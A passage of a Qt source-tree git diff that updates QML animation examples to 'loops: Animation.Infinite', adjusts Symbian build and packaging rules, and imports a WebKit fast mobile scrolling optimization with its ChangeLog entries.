running: false; repeat: true; } + NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; running: false; loops: Animation.Infinite; } } MouseArea { anchors.fill: parent; onClicked: dropShadowEffect.running = !dropShadowEffect.running } diff --git a/examples/declarative/fillmode/fillmode.qml b/examples/declarative/fillmode/fillmode.qml index ab0f81c..3f2020c 100644 --- a/examples/declarative/fillmode/fillmode.qml +++ b/examples/declarative/fillmode/fillmode.qml @@ -5,7 +5,7 @@ Image { height: 250 source: "face.png" SequentialAnimation on fillMode { - repeat: true + loops: Animation.Infinite PropertyAction { value: Image.Stretch } PropertyAction { target: label; property: "text"; value: "Stretch" } PauseAnimation { duration: 1000 } diff --git a/examples/declarative/fonts/banner.qml b/examples/declarative/fonts/banner.qml index 7989f80..957246f 100644 --- a/examples/declarative/fonts/banner.qml +++ b/examples/declarative/fonts/banner.qml @@ -10,7 +10,7 @@ Rectangle { Row { y: -screen.height / 4.5 - NumberAnimation on x { from: 0; to: -text.width; duration: 6000; repeat: true } + NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Animation.Infinite } Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } diff --git a/examples/declarative/fonts/hello.qml b/examples/declarative/fonts/hello.qml index 334409e..e15a0f0 100644 --- a/examples/declarative/fonts/hello.qml +++ b/examples/declarative/fonts/hello.qml @@ -10,7 +10,7 @@ Rectangle { text: "Hello world!"; font.pixelSize: 60 SequentialAnimation on font.letterSpacing { - repeat: true; + loops: Animation.Infinite; NumberAnimation { from: 100; to: 300; easing.type: "InQuad"; duration: 3000 } ScriptAction { script: { container.y = (screen.height / 4) + (Math.random() * screen.height / 2) @@ -18,7 +18,7 @@ Rectangle { } } } SequentialAnimation on opacity { - repeat: true; + loops: Animation.Infinite; NumberAnimation { from: 1; to: 0; duration: 2600 } PauseAnimation { duration: 400 } } diff --git a/examples/declarative/listview/content/ClickAutoRepeating.qml b/examples/declarative/listview/content/ClickAutoRepeating.qml index 5240e65..cbf1f3b 100644 --- a/examples/declarative/listview/content/ClickAutoRepeating.qml +++ b/examples/declarative/listview/content/ClickAutoRepeating.qml @@ -18,7 +18,7 @@ Item { ScriptAction { script: page.clicked() } PauseAnimation { duration: repeatdelay } SequentialAnimation { - repeat: true + loops: Animation.Infinite ScriptAction { script: page.clicked() } PauseAnimation { duration: repeatperiod } } diff --git a/examples/declarative/parallax/qml/Smiley.qml b/examples/declarative/parallax/qml/Smiley.qml index 4442d5e..c13b879 100644 --- a/examples/declarative/parallax/qml/Smiley.qml +++ b/examples/declarative/parallax/qml/Smiley.qml @@ -25,7 +25,7 @@ Item { // Animate the y property. Setting repeat to true makes the // animation repeat indefinitely, otherwise it would only run once. SequentialAnimation on y { - repeat: true + loops: Animation.Infinite // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function NumberAnimation { diff --git a/examples/declarative/progressbar/progressbars.qml b/examples/declarative/progressbar/progressbars.qml index a66d544..c8022b0 100644 --- a/examples/declarative/progressbar/progressbars.qml +++ b/examples/declarative/progressbar/progressbars.qml @@ -14,9 +14,9 @@ Rectangle { ProgressBar { property int r: Math.floor(Math.random() * 5000 + 1000) width: main.width - 20 - NumberAnimation on value { duration: r; from: 0; to: 100; repeat: true } - ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; repeat: true } - ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; repeat: true } + NumberAnimation on value { duration: r; from: 0; to: 100; loops: Animation.Infinite } + ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; loops: Animation.Infinite } + ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; loops: Animation.Infinite } } } } diff --git a/examples/declarative/tvtennis/tvtennis.qml b/examples/declarative/tvtennis/tvtennis.qml index 6022a15..fcb285d 100644 --- a/examples/declarative/tvtennis/tvtennis.qml +++ b/examples/declarative/tvtennis/tvtennis.qml @@ -21,7 +21,7 @@ Rectangle { // Move the ball to the right and back to the left repeatedly SequentialAnimation on x { - repeat: true + loops: Animation.Infinite NumberAnimation { to: page.width - 40; duration: 2000 } ScriptAction { script: paddle.play() } PropertyAction { target: ball; property: "direction"; value: "left" } diff --git a/examples/declarative/webview/content/SpinSquare.qml b/examples/declarative/webview/content/SpinSquare.qml index b65a29d..62c0ce2 100644 --- a/examples/declarative/webview/content/SpinSquare.qml +++ b/examples/declarative/webview/content/SpinSquare.qml @@ -18,7 +18,7 @@ Item { NumberAnimation on rotation { from: 0 to: 360 - repeat: true + loops: Animation.Infinite duration: root.period } } diff --git a/examples/declarative/webview/evalandattach.html b/examples/declarative/webview/evalandattach.html deleted file mode 100644 index 48a1c33..0000000 --- a/examples/declarative/webview/evalandattach.html +++ /dev/null @@ -1,31 +0,0 @@ -<body bgcolor=gray onload="ftext.confirmed.connect (ftext_confirmed); "> - <script> - do_it = function () {var oPressed = document.getElementById('pressed'); - oPressed.innerHTML = 'MouseArea in QML clicked!';}; - ftext_confirmed = function () { statusText1.text = ftext.text; var oT = document.getElementById('htmlTextInput'); oT.value = ftext.text } - </script> - <table border=1> - <tr> - <td> </td> - <td id='pressed'></td> - </tr> - <tr> - <td><label for='htmlTextInput'>Type something:</label></td> - <td><input type='text' name='htmlTextInput' size='25' id='htmlTextInput' - onfocus="statusText2.text = 'Focus in html text input.'"></td> - </tr> - <tr> - <td><label for='htmlButton'> </label></td> - <td> - <input type='button' id='htmlButton' value='Push' - onclick="var oText = document.getElementById('htmlTextInput'); statusText1.text = oText.value; ftext.text = oText.value" /> - </tr> - </table> - <p> - Below a qml(QFxItem) object inside webkit: - </p> - <object data=content/FieldText.qml TYPE=application/x-qt-plugin id="ftext_id" text="" label="Cool:" width="200" - objectname="ftext"> - </object> -</body> - diff --git a/examples/declarative/webview/evalandattach.qml b/examples/declarative/webview/evalandattach.qml deleted file mode 100644 index d219d84..0000000 --- a/examples/declarative/webview/evalandattach.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -Item { - height: 640 - width: 360 - Text { - id: teksti - text: webView.statusText1 - anchors.top: parent.top - height: 30 - anchors.left: parent.left - width: parent.width/2 - } - - Text { - id: teksti2 - text: webView.statusText2 - anchors.top: parent.top - height: 30 - anchors.left: teksti.right - anchors.right: parent.right - } - - MouseArea { - anchors.fill: teksti - onClicked: { webView.evaluateJavaScript ("do_it()") } - } - - WebView { - id: webView - property alias statusText1: txt.text - property alias statusText2: txt2.text - anchors.top: teksti.bottom - anchors.bottom: parent.bottom - anchors.left: parent.left - anchors.right: parent.right - focus: true - settings.pluginsEnabled: true - javaScriptWindowObjects: [ - QtObject { - id: txt - WebView.windowObjectName: "statusText1" - property string text: "Click me!" - }, - QtObject { - id: txt2 - WebView.windowObjectName: "statusText2" - property string text: "" - } - ] - url: "evalandattach.html" - } - -} diff --git a/examples/declarative/webview/qdeclarative-in-html.qml b/examples/declarative/webview/qdeclarative-in-html.qml deleted file mode 100644 index 172ea4b..0000000 --- a/examples/declarative/webview/qdeclarative-in-html.qml +++ /dev/null @@ -1,33 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -// The WebView supports QML data through the HTML OBJECT tag -Rectangle { - color:"blue" - Flickable { - width: parent.width - height: parent.height/2 - contentWidth: web.width*web.scale - contentHeight: web.height*web.scale - WebView { - id: web - width: 250 - height: 420 - zoomFactor: 0.75 - smoothCache: true - settings.pluginsEnabled: true - html: "<html>\ - <body bgcolor=white>\ - These are QML plugins, shown in a QML WebView via HTML OBJECT tags, all scaled to 75%\ - and placed in a Flickable area...\ - <table border=1>\ - <tr><th>Duration <th>Color <th>Plugin\ - <tr><td>500 <td>red <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=500 color=red />\ - <tr><td>2000 <td>blue <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=2000 color=blue />\ - <tr><td>1000 <td>green <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=1000 color=green />\ - </table>\ - </body>\ - </html>" - } - } -} diff --git a/examples/multimedia/audioinput/audioinput.pro b/examples/multimedia/audioinput/audioinput.pro index a54d452..6a1c79d 100644 --- a/examples/multimedia/audioinput/audioinput.pro +++ b/examples/multimedia/audioinput/audioinput.pro @@ -12,5 +12,6 @@ INSTALLS += target sources symbian { TARGET.UID3 = 0xA000D7BF + TARGET.CAPABILITY += UserEnvironment include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri) } diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf index 090f3b6..0b6de5e 100644 --- a/mkspecs/common/symbian/symbian.conf +++ b/mkspecs/common/symbian/symbian.conf @@ -113,3 +113,4 @@ QT_ARCH = symbian load(qt_config) load(symbian/platform_paths) + diff --git a/mkspecs/features/symbian/application_icon.prf b/mkspecs/features/symbian/application_icon.prf index 1109060..9979f40 100644 --- a/mkspecs/features/symbian/application_icon.prf +++ b/mkspecs/features/symbian/application_icon.prf @@ -31,9 +31,9 @@ contains( CONFIG, no_icon ) { # Note: symbian-sbsv2 builds can't utilize extra compiler for mifconv, so ICON handling is done in code !symbian-sbsv2 { + !contains(ICON, "^(/|\\\\|.:).*"):ICON = $$_PRO_FILE_PWD_/$$ICON #absolute path #Makefile: requires paths with backslash ICON_backslashed = $$ICON - contains(QMAKE_HOST.os, "Windows"):ICON_backslashed = $$replace( ICON_backslashed, /, \\) symbian-abld { mifIconZDir = ${ZDIR}$$APP_RESOURCE_DIR @@ -47,9 +47,14 @@ contains( CONFIG, no_icon ) { # Extra compiler rules for mifconv mifconv.target = $$mifIconZDir/$${baseTarget}.mif + contains(QMAKE_HOST.os, "Windows") { + ICON_backslashed = $$replace(ICON_backslashed, /, \\) + mifconv.target = $$replace(mifconv.target, /, \\) + } # Based on: http://www.forum.nokia.com/document/Cpp_Developers_Library # svg-t icons should always use /c32 depth mifconv.commands = mifconv $$mifconv.target /c32 $$ICON_backslashed + mifconv.depends = $$ICON PRE_TARGETDEPS += $$mifconv.target QMAKE_EXTRA_TARGETS += mifconv diff --git a/mkspecs/features/symbian/qt.prf b/mkspecs/features/symbian/qt.prf index 2dc614f..bcb2867 100644 --- a/mkspecs/features/symbian/qt.prf +++ b/mkspecs/features/symbian/qt.prf @@ -22,19 +22,23 @@ load(qt) INCLUDEPATH = $$PREPEND_INCLUDEPATH $$INCLUDEPATH # Add dependency to Qt package to all other projects besides Qt libs. -# Note: Qt libs with full capabilities has UID3 of 0x2001E61C, +# Note: Qt libs package with full capabilities has UID3 of 0x2001E61C, # while self-signed version typically has temporary UID3 of 0xE001E61C. contains(CONFIG, qt):!contains(TARGET.UID3, 0x2001E61C):!contains(TARGET.UID3, 0xE001E61C):isEmpty(QT_LIBINFIX) { - default_deployment.pkg_prerules += \ + pkg_depends_qt += \ "; Default dependency to Qt libraries" \ "(0x2001E61C), $${QT_MAJOR_VERSION}, $${QT_MINOR_VERSION}, $${QT_PATCH_VERSION}, {\"Qt\"}" # Projects linking to webkit need dependency to webkit contains(QT, webkit): { - default_deployment.pkg_prerules += \ + pkg_depends_webkit += \ "; Dependency to Qt Webkit" \ "(0x200267C2), $${QT_MAJOR_VERSION}, $${QT_MINOR_VERSION}, $${QT_PATCH_VERSION}, {\"QtWebKit\"}" + } else { + default_deployment.pkg_prerules -= pkg_depends_webkit } +} else { + default_deployment.pkg_prerules -= pkg_depends_webkit pkg_depends_qt } isEmpty(TARGET.EPOCSTACKSIZE):TARGET.EPOCSTACKSIZE = 0x14000 @@ -43,5 +47,5 @@ isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x020000 0x800000 # Workaround for the fact that Gnupoc and Symbian chose different approaches to # the letter casing of headers. contains(CONFIG, is_using_gnupoc) { - INCLUDEPATH += $$[QT_INSTALL_PREFIX]/mkspecs/common/symbian/header-wrappers + INCLUDEPATH += $$QMAKESPEC/../../common/symbian/header-wrappers } diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Threading.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Threading.h index 5fb7fe3..5b655e8 100644 --- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Threading.h +++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Threading.h @@ -75,7 +75,7 @@ #include <libkern/OSAtomic.h> #elif OS(ANDROID) #include <cutils/atomic.h> -#elif COMPILER(GCC) && !PLATFORM(SYMBIAN) +#elif COMPILER(GCC) && !defined(__SYMBIAN32__) #if (__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 2)) #include <ext/atomicity.h> #else @@ -239,7 +239,7 @@ inline int atomicDecrement(int volatile* addend) { return OSAtomicDecrement32Bar inline int atomicIncrement(int volatile* addend) { return android_atomic_inc(addend); } inline int atomicDecrement(int volatile* addend) { return android_atomic_dec(addend); } -#elif COMPILER(GCC) && !PLATFORM(SPARC64) && !PLATFORM(SYMBIAN) // sizeof(_Atomic_word) != sizeof(int) on sparc64 gcc +#elif COMPILER(GCC) && !PLATFORM(SPARC64) && !defined(__SYMBIAN32__) // sizeof(_Atomic_word) != sizeof(int) on sparc64 gcc #define WTF_USE_LOCKFREE_THREADSAFESHARED 1 inline int atomicIncrement(int volatile* addend) { return __gnu_cxx::__exchange_and_add(addend, 1) + 1; } diff --git a/src/3rdparty/webkit/.gitattributes b/src/3rdparty/webkit/.gitattributes new file mode 100644 index 0000000..5b43bd0 --- /dev/null +++ b/src/3rdparty/webkit/.gitattributes @@ -0,0 +1,4 @@ +# To enable automatic merging of ChangeLog files, use the following command: +# git config merge.changelog.driver "resolve-ChangeLogs --merge-driver %O %A %B" +ChangeLog* merge=changelog + diff --git a/src/3rdparty/webkit/ChangeLog b/src/3rdparty/webkit/ChangeLog index 1e89d1e..57cb0de 100644 --- a/src/3rdparty/webkit/ChangeLog +++ b/src/3rdparty/webkit/ChangeLog @@ -1,3 +1,11 @@ +2010-02-18 Tor Arne Vestbø <tor.arne.vestbo@nokia.com> + + Reviewed by Eric Seidel. + + Add .gitattributes file for custom ChangeLog merge-driver + + * .gitattributes: Added. + 2009-11-30 Jan-Arve Sæther <jan-arve.saether@nokia.com> Reviewed by Simon Hausmann. diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.h b/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.h index 52a24f6..3e25c95 100644 --- a/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.h +++ b/src/3rdparty/webkit/JavaScriptCore/wtf/Threading.h @@ -73,7 +73,7 @@ #include <windows.h> #elif PLATFORM(DARWIN) #include <libkern/OSAtomic.h> -#elif COMPILER(GCC) && !PLATFORM(SYMBIAN) +#elif COMPILER(GCC) && !defined(__SYMBIAN32__) #if (__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 2)) #include <ext/atomicity.h> #else @@ -232,7 +232,7 @@ inline int atomicDecrement(int volatile* addend) { return InterlockedDecrement(r inline int atomicIncrement(int volatile* addend) { return OSAtomicIncrement32Barrier(const_cast<int*>(addend)); } inline int atomicDecrement(int volatile* addend) { return OSAtomicDecrement32Barrier(const_cast<int*>(addend)); } -#elif COMPILER(GCC) && !PLATFORM(SPARC64) && !PLATFORM(SYMBIAN) // sizeof(_Atomic_word) != sizeof(int) on sparc64 gcc +#elif COMPILER(GCC) && !PLATFORM(SPARC64) && !defined(__SYMBIAN32__) // sizeof(_Atomic_word) != sizeof(int) on sparc64 gcc #define WTF_USE_LOCKFREE_THREADSAFESHARED 1 inline int atomicIncrement(int volatile* addend) { return __gnu_cxx::__exchange_and_add(addend, 1) + 1; } diff --git a/src/3rdparty/webkit/VERSION b/src/3rdparty/webkit/VERSION index a2d5f37..9dac2f8 100644 --- a/src/3rdparty/webkit/VERSION +++ b/src/3rdparty/webkit/VERSION @@ -8,4 +8,4 @@ The commit imported was from the and has the sha1 checksum - 266a6c4f1938dd9edf4a8125faf91c62495e3ce2 + aa40cdb9595eb15a68e7be03322f973aa613a8f9 diff --git a/src/3rdparty/webkit/WebCore/ChangeLog b/src/3rdparty/webkit/WebCore/ChangeLog index a3f70d3..0a444bc 100644 --- a/src/3rdparty/webkit/WebCore/ChangeLog +++ b/src/3rdparty/webkit/WebCore/ChangeLog @@ -1,3 +1,61 @@ +2010-03-19 Miikka Heikkinen <miikka.heikkinen@digia.com> + + Reviewed by Simon Hausmann. + + [Qt] Support for QT_LIBINFIX in Symbian builds + + Configuring Qt with -qtlibinfix parameter will enable installing + an alternate version of Qt on devices that already have it on ROM. + This patch provides support for infixed builds of Webkit. + + * WebCore.pro: + +2010-01-31 Benjamin Poulain <benjamin.poulain@nokia.com> + + Reviewed by Eric Seidel. + + [Qt] Enable FAST_MOBILE_SCROLLING on Qt embedded platforms + https://bugs.webkit.org/show_bug.cgi?id=34168 + + Enable FAST_MOBILE_SCROLLING for Qt on Maemo 5, Linux embedded + and Symbian + + * WebCore.pro: + +2010-01-19 Daniel Bates <dbates@rim.com> + + Reviewed by Adam Treat. + + https://bugs.webkit.org/show_bug.cgi?id=33408 + + Implements an optimization to ignore fixed background images + (i.e. background-attachment: fixed) when a page does not contain + any fixed position elements so as to allow fast repaints (via bit + blit) when scrolling a page. + + Currently, if a page has elements that specify either a fixed + background or a fixed position then we perform a slow repaint + (i.e disable blitting) so as to avoid rendering artifacts. + However, on low-powered/mobile devices slow repaints can cause + noticeable delays when scrolling a page with a fixed background + image. By sacrificing support for fixed background images when + there are no fixed elements on the page and with come care, we + don't need to force slow repaints and can avoid rendering artifacts. + Hence, on such devices we can improve the responsiveness of + scrolling a page with a fixed background image. + + Note, this optimization is only enabled if the WebKit is built + with FAST_MOBILE_SCROLLING enabled. + + Tests: fast/fast-mobile-scrolling/fixed-position-element.html + fast/fast-mobile-scrolling/no-fixed-position-elements.html + + * rendering/RenderBoxModelObject.cpp: + (WebCore::RenderBoxModelObject::calculateBackgroundImageGeometry): + Disable fixed background attachment if we can blit on scroll. + * rendering/RenderObject.cpp: + (WebCore::RenderObject::styleWillChange): + 2010-03-11 Simon Hausmann <simon.hausmann@nokia.com> Reviewed by Tor Arne Vestbø. diff --git a/src/3rdparty/webkit/WebCore/WebCore.pro b/src/3rdparty/webkit/WebCore/WebCore.pro index a80eed4..3a50b1a 100644 --- a/src/3rdparty/webkit/WebCore/WebCore.pro +++ b/src/3rdparty/webkit/WebCore/WebCore.pro @@ -6,9 +6,12 @@ symbian: { TARGET.EPOCALLOWDLLDATA=1 TARGET.EPOCHEAPSIZE = 0x20000 0x2000000 // Min 128kB, Max 32MB TARGET.CAPABILITY = All -Tcb - TARGET.UID3 = 0x200267C2 - - webkitlibs.sources = $$QMAKE_LIBDIR_QT/QtWebKit.dll + isEmpty(QT_LIBINFIX) { + TARGET.UID3 = 0x200267C2 + } else { + TARGET.UID3 = 0xE00267C2 + } + webkitlibs.sources = QtWebKit$${QT_LIBINFIX}.dll webkitlibs.path = /sys/bin vendorinfo = \ "; Localised Vendor name" \ @@ -165,6 +168,10 @@ contains(DEFINES, ENABLE_SINGLE_THREADED=1) { DEFINES += ENABLE_SVG_FONTS=0 ENABLE_SVG_FOREIGN_OBJECT=0 ENABLE_SVG_ANIMATION=0 ENABLE_SVG_AS_IMAGE=0 ENABLE_SVG_USE=0 } +mameo5|symbian|embedded { + DEFINES += ENABLE_FAST_MOBILE_SCROLLING=1 +} + # HTML5 ruby support !contains(DEFINES, ENABLE_RUBY=.): DEFINES += ENABLE_RUBY=1 diff --git a/src/3rdparty/webkit/WebCore/page/FrameView.cpp b/src/3rdparty/webkit/WebCore/page/FrameView.cpp index bc4e4f2..4c3a0ab 100644 --- a/src/3rdparty/webkit/WebCore/page/FrameView.cpp +++ b/src/3rdparty/webkit/WebCore/page/FrameView.cpp @@ -106,6 +106,7 @@ struct ScheduledEvent { FrameView::FrameView(Frame* frame) : m_frame(frame) , m_slowRepaintObjectCount(0) + , m_fixedObjectCount(0) , m_layoutTimer(this, &FrameView::layoutTimerFired) , m_layoutRoot(0) , m_postLayoutTasksTimer(this, &FrameView::postLayoutTimerFired) @@ -735,7 +736,7 @@ String FrameView::mediaType() const bool FrameView::useSlowRepaints() const { - return m_useSlowRepaints || m_slowRepaintObjectCount > 0 || m_isOverlapped || !m_contentIsOpaque; + return m_useSlowRepaints || m_slowRepaintObjectCount > 0 || (platformWidget() && m_fixedObjectCount > 0) || m_isOverlapped || !m_contentIsOpaque; } void FrameView::setUseSlowRepaints() @@ -759,6 +760,78 @@ void FrameView::removeSlowRepaintObject() setCanBlitOnScroll(!useSlowRepaints()); } +void FrameView::addFixedObject() +{ + if (!m_fixedObjectCount && platformWidget()) + setCanBlitOnScroll(false); + ++m_fixedObjectCount; +} + +void FrameView::removeFixedObject() +{ + ASSERT(m_fixedObjectCount > 0); + m_fixedObjectCount--; + if (!m_fixedObjectCount) + setCanBlitOnScroll(!useSlowRepaints()); +} + +void FrameView::scrollContentsFastPath(const IntSize& scrollDelta, const IntRect& rectToScroll, const IntRect& clipRect) +{ + const size_t fixedObjectThreshold = 5; + + ListHashSet<RenderBox*>* positionedObjects = 0; + if (RenderView* root = m_frame->contentRenderer()) + positionedObjects = root->positionedObjects(); + + if (!positionedObjects || positionedObjects->isEmpty()) { + hostWindow()->scroll(scrollDelta, rectToScroll, clipRect); + return; + } + + // Get the rects of the fixed objects visible in the rectToScroll + Vector<IntRect, fixedObjectThreshold> subRectToUpdate; + bool updateInvalidatedSubRect = true; + ListHashSet<RenderBox*>::const_iterator end = positionedObjects->end(); + for (ListHashSet<RenderBox*>::const_iterator it = positionedObjects->begin(); it != end; ++it) { + RenderBox* renderBox = *it; + if (renderBox->style()->position() != FixedPosition) + continue; + IntRect topLevelRect; + IntRect updateRect = renderBox->paintingRootRect(topLevelRect); + updateRect.move(-scrollX(), -scrollY()); + updateRect.intersect(rectToScroll); + if (!updateRect.isEmpty()) { + if (subRectToUpdate.size() >= fixedObjectThreshold) { + updateInvalidatedSubRect = false; + break; + } + subRectToUpdate.append(updateRect); + } + } + + // Scroll the view + if (updateInvalidatedSubRect) { + // 1) scroll + hostWindow()->scroll(scrollDelta, rectToScroll, clipRect); + + // 2) update the area of fixed objets that has been invalidated + size_t fixObjectsCount = subRectToUpdate.size(); + for (size_t i = 0; i < fixObjectsCount; ++i) { + IntRect updateRect = subRectToUpdate[i]; + IntRect scrolledRect = updateRect; + scrolledRect.move(scrollDelta); + updateRect.unite(scrolledRect); + updateRect.intersect(rectToScroll); + hostWindow()->repaint(updateRect, true, false, true); + } + } else { + // the number of fixed objects exceed the threshold, so we repaint everything. + IntRect updateRect = clipRect; + updateRect.intersect(rectToScroll); + hostWindow()->repaint(updateRect, true, false, true); + } +} + void FrameView::setIsOverlapped(bool isOverlapped) { if (isOverlapped == m_isOverlapped) diff --git a/src/3rdparty/webkit/WebCore/page/FrameView.h b/src/3rdparty/webkit/WebCore/page/FrameView.h index 3d17d2c..5243c02 100644 --- a/src/3rdparty/webkit/WebCore/page/FrameView.h +++ b/src/3rdparty/webkit/WebCore/page/FrameView.h @@ -143,6 +143,9 @@ public: void addSlowRepaintObject(); void removeSlowRepaintObject(); + void addFixedObject(); + void removeFixedObject(); + void beginDeferredRepaints(); void endDeferredRepaints(); void checkStopDelayingDeferredRepaints(); @@ -196,6 +199,9 @@ public: bool isFrameViewScrollCorner(RenderScrollbarPart* scrollCorner) const { return m_scrollCorner == scrollCorner; } void invalidateScrollCorner(); +protected: + virtual void scrollContentsFastPath(const IntSize& scrollDelta, const IntRect& rectToScroll, const IntRect& clipRect); + private: FrameView(Frame*); @@ -261,6 +267,7 @@ private: bool m_isOverlapped; bool m_contentIsOpaque; unsigned m_slowRepaintObjectCount; + unsigned m_fixedObjectCount; int m_borderX, m_borderY; diff --git a/src/3rdparty/webkit/WebCore/platform/ScrollView.cpp b/src/3rdparty/webkit/WebCore/platform/ScrollView.cpp index e67daf9..9e15c43 100644 --- a/src/3rdparty/webkit/WebCore/platform/ScrollView.cpp +++ b/src/3rdparty/webkit/WebCore/platform/ScrollView.cpp @@ -509,7 +509,7 @@ void ScrollView::scrollContents(const IntSize& scrollDelta) if (canBlitOnScroll()) { // The main frame can just blit the WebView window // FIXME: Find a way to blit subframes without blitting overlapping content - hostWindow()->scroll(-scrollDelta, scrollViewRect, clipRect); + scrollContentsFastPath(-scrollDelta, scrollViewRect, clipRect); } else { // We need to go ahead and repaint the entire backing store. Do it now before moving the // windowed plugins. @@ -524,6 +524,11 @@ void ScrollView::scrollContents(const IntSize& scrollDelta) hostWindow()->paint(); } +void ScrollView::scrollContentsFastPath(const IntSize& scrollDelta, const IntRect& rectToScroll, const IntRect& clipRect) +{ + hostWindow()->scroll(scrollDelta, rectToScroll, clipRect); +} + IntPoint ScrollView::windowToContents(const IntPoint& windowPoint) const { IntPoint viewPoint = convertFromContainingWindow(windowPoint); diff --git a/src/3rdparty/webkit/WebCore/platform/ScrollView.h b/src/3rdparty/webkit/WebCore/platform/ScrollView.h index 5dacff5..7060d07 100644 --- a/src/3rdparty/webkit/WebCore/platform/ScrollView.h +++ b/src/3rdparty/webkit/WebCore/platform/ScrollView.h @@ -244,6 +244,9 @@ protected: IntRect scrollCornerRect() const; virtual void updateScrollCorner(); virtual void paintScrollCorner(GraphicsContext*, const IntRect& cornerRect); + + // Scroll the content by blitting the pixels + virtual void scrollContentsFastPath(const IntSize& scrollDelta, const IntRect& rectToScroll, const IntRect& clipRect); private: RefPtr<Scrollbar> m_horizontalScrollbar; diff --git a/src/3rdparty/webkit/WebCore/rendering/RenderBlock.h b/src/3rdparty/webkit/WebCore/rendering/RenderBlock.h index 7ba5fce..3300d01 100644 --- a/src/3rdparty/webkit/WebCore/rendering/RenderBlock.h +++ b/src/3rdparty/webkit/WebCore/rendering/RenderBlock.h @@ -75,6 +75,7 @@ public: void insertPositionedObject(RenderBox*); void removePositionedObject(RenderBox*); void removePositionedObjects(RenderBlock*); + ListHashSet<RenderBox*>* positionedObjects() const { return m_positionedObjects; } void addPercentHeightDescendant(RenderBox*); static void removePercentHeightDescendant(RenderBox*); diff --git a/src/3rdparty/webkit/WebCore/rendering/RenderBox.cpp b/src/3rdparty/webkit/WebCore/rendering/RenderBox.cpp index 1df82a4..7ca2ff8 100644 --- a/src/3rdparty/webkit/WebCore/rendering/RenderBox.cpp +++ b/src/3rdparty/webkit/WebCore/rendering/RenderBox.cpp @@ -145,6 +145,16 @@ void RenderBox::styleWillChange(StyleDifference diff, const RenderStyle* newStyl removeFloatingOrPositionedChildFromBlockLists(); } } + if (FrameView *frameView = view()->frameView()) { + bool newStyleIsFixed = newStyle && newStyle->position() == FixedPosition; + bool oldStyleIsFixed = style() && style()->position() == FixedPosition; + if (newStyleIsFixed != oldStyleIsFixed) { + if (newStyleIsFixed) + frameView->addFixedObject(); + else + frameView->removeFixedObject(); + } + } RenderBoxModelObject::styleWillChange(diff, newStyle); } diff --git a/src/3rdparty/webkit/WebCore/rendering/RenderBoxModelObject.cpp b/src/3rdparty/webkit/WebCore/rendering/RenderBoxModelObject.cpp index 23dad2d..9d0f1ed 100644 --- a/src/3rdparty/webkit/WebCore/rendering/RenderBoxModelObject.cpp +++ b/src/3rdparty/webkit/WebCore/rendering/RenderBoxModelObject.cpp @@ -557,6 +557,17 @@ void RenderBoxModelObject::calculateBackgroundImageGeometry(const FillLayer* fil // Determine the background positioning area and set destRect to the background painting area. // destRect will be adjusted later if the background is non-repeating. bool fixedAttachment = fillLayer->attachment() == FixedBackgroundAttachment; + +#if ENABLE(FAST_MOBILE_SCROLLING) + if (view()->frameView() && view()->frameView()->canBlitOnScroll()) { + // As a side effect of an optimization to blit on scroll, we do not honor the CSS + // property "background-attachment: fixed" because it may result in rendering + // artifacts. Note, these artifacts only appear if we are blitting on scroll of + // a page that has fixed background images. + fixedAttachment = false; + } +#endif + if (!fixedAttachment) { destRect = IntRect(tx, ty, w, h); diff --git a/src/3rdparty/webkit/WebCore/rendering/RenderObject.cpp b/src/3rdparty/webkit/WebCore/rendering/RenderObject.cpp index a10ffd9..199de4a 100644 --- a/src/3rdparty/webkit/WebCore/rendering/RenderObject.cpp +++ b/src/3rdparty/webkit/WebCore/rendering/RenderObject.cpp @@ -1591,10 +1591,17 @@ void RenderObject::styleWillChange(StyleDifference diff, const RenderStyle* newS s_affectsParentBlock = false; if (view()->frameView()) { - // FIXME: A better solution would be to only invalidate the fixed regions when scrolling. It's overkill to - // prevent the entire view from blitting on a scroll. - bool newStyleSlowScroll = newStyle && (newStyle->position() == FixedPosition || newStyle->hasFixedBackgroundImage()); - bool oldStyleSlowScroll = m_style && (m_style->position() == FixedPosition || m_style->hasFixedBackgroundImage()); + bool shouldBlitOnFixedBackgroundImage = false; +#if ENABLE(FAST_MOBILE_SCROLLING) + // On low-powered/mobile devices, preventing blitting on a scroll can cause noticeable delays + // when scrolling a page with a fixed background image. As an optimization, assuming there are + // no fixed positoned elements on the page, we can acclerate scrolling (via blitting) if we + // ignore the CSS property "background-attachment: fixed". + shouldBlitOnFixedBackgroundImage = true; +#endif + + bool newStyleSlowScroll = newStyle && !shouldBlitOnFixedBackgroundImage && newStyle->hasFixedBackgroundImage(); + bool oldStyleSlowScroll = m_style && !shouldBlitOnFixedBackgroundImage && m_style->hasFixedBackgroundImage(); if (oldStyleSlowScroll != newStyleSlowScroll) { if (oldStyleSlowScroll) view()->frameView()->removeSlowRepaintObject(); diff --git 